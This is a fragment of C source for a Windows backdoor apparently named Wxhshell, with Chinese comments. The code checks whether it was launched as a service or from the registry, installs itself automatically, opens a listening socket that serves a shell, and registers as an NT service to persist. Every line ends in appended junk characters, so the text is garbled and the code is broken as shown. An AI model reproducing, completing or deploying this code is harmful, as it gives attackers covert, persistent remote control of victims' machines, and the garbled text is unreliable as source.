DWORD PebBaseAddress; rB|1<jR
DWORD AffinityMask; pO/vD~C>
DWORD BasePriority; ~<.{z]*O
ULONG UniqueProcessId; /-knqv
ULONG InheritedFromUniqueProcessId; 6HguZ_jC
} PROCESS_BASIC_INFORMATION; soRYM
dB)-qL8,2
PROCNTQSIP NtQueryInformationProcess; :GN++\1pw
e-Oz`qW~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nC%<BatQ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K'}I?H~P_
YQ@2p?4m
HANDLE hProcess; y!dw{Lz
PROCESS_BASIC_INFORMATION pbi; <O1os"w
V|hwT^h
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `W >Sss
if(NULL == hInst ) return 0; TCFr-*x
(q0vql
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \11+~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f|=u{6
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QE8`nMf
L PS,\+
if (!NtQueryInformationProcess) return 0; S&'?L0
aNn4j_V(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UGlHe7
if(!hProcess) return 0; 76o3Sge:
K^6d_b&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a)4%sX*I
diNAT`|?#
CloseHandle(hProcess); jJaMkF;f
GKbbwT0T|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V%{WH}
if(hProcess==NULL) return 0; ek. @ 0c
rq^%)tR
HMODULE hMod; =k*XGbU
char procName[255]; kdWUz(
unsigned long cbNeeded; !MrQ-B (
:.tL~%
q
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W':b6}?
,>01Cs=t8
CloseHandle(hProcess); n|pdYe8\
fJP *RVz
if(strstr(procName,"services")) return 1; // 以服务启动 |VzXcV-"8)
JQ;.+5
N<K
return 0; // 注册表启动 F\hVunPVx
} 6yBd9= 3K
Z^}[CQ&Am
// 主模块 {/(.Bpld
int StartWxhshell(LPSTR lpCmdLine) (t\U5-w
{ IRdR3X56
SOCKET wsl; 6O/c%1VHA3
BOOL val=TRUE; IBvn
q8\
int port=0; e/_QS}OA
struct sockaddr_in door; pGfGGY>i%
#?k</~s6M`
if(wscfg.ws_autoins) Install(); |d z2Drc
0WfnX>(C7R
port=atoi(lpCmdLine); eM
5#L,Y{
z@J>A![m
if(port<=0) port=wscfg.ws_port; kt0xR)gU
_Rb2jq(&0
WSADATA data; <[D>[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |AacV
RJUIB
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Kj "X!-
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +zd/<
door.sin_family = AF_INET; gq;>DY]
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8MI8~
door.sin_port = htons(port); uO-|?{29
,[T/O\k
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \m~p;B
closesocket(wsl); *sZH3:
return 1; p!8phS#iP
} Xtfs)"
+Z2XP76(4A
if(listen(wsl,2) == INVALID_SOCKET) { \gkhSLq
closesocket(wsl); x@QNMK.7
return 1; 'e*w8h
} Cl9rJ oT
Wxhshell(wsl); ^-Ygh[x
WSACleanup(); _yUYEq<`
S 6_:\Q
return 0; a$h^<D
^
mhX66R
} WR`NISSp
J^ewG
// 以NT服务方式启动 7H?xp_D
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4Ngp -
{ j}B86oX
DWORD status = 0; yci} #,nb
DWORD specificError = 0xfffffff; +}M3O]?4
`'^o45
serviceStatus.dwServiceType = SERVICE_WIN32; ;x2o|#`b
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ncsh{.
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;9WUt,R
serviceStatus.dwWin32ExitCode = 0; W7b
m}JHn
serviceStatus.dwServiceSpecificExitCode = 0; $2}#):`
serviceStatus.dwCheckPoint = 0; JB].ht
serviceStatus.dwWaitHint = 0; @{q<"hT
!zx8I7e4
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *!JB^5(H
if (hServiceStatusHandle==0) return; L@/IyQ[H1
5-$D<}Z
status = GetLastError(); b=1E87i@W
if (status!=NO_ERROR) oQ,<Yx%E3
{ v*qbzW`
serviceStatus.dwCurrentState = SERVICE_STOPPED; -aVC`
serviceStatus.dwCheckPoint = 0; ZZZ9C#hK^9
serviceStatus.dwWaitHint = 0; b=xn(HE8|
serviceStatus.dwWin32ExitCode = status; $,]U~7S
serviceStatus.dwServiceSpecificExitCode = specificError; ~Gz9pBv1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e3W~6P
return; j*gJP
!
} kE.4 #
TwI s_r:
serviceStatus.dwCurrentState = SERVICE_RUNNING; #=S^i[K/
serviceStatus.dwCheckPoint = 0; ;*t#:U*
serviceStatus.dwWaitHint = 0; -y$6gCRY
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ls&H oJ7
} G%: 3.:E"
GVJ||0D
// 处理NT服务事件,比如:启动、停止 ;Su-Y!&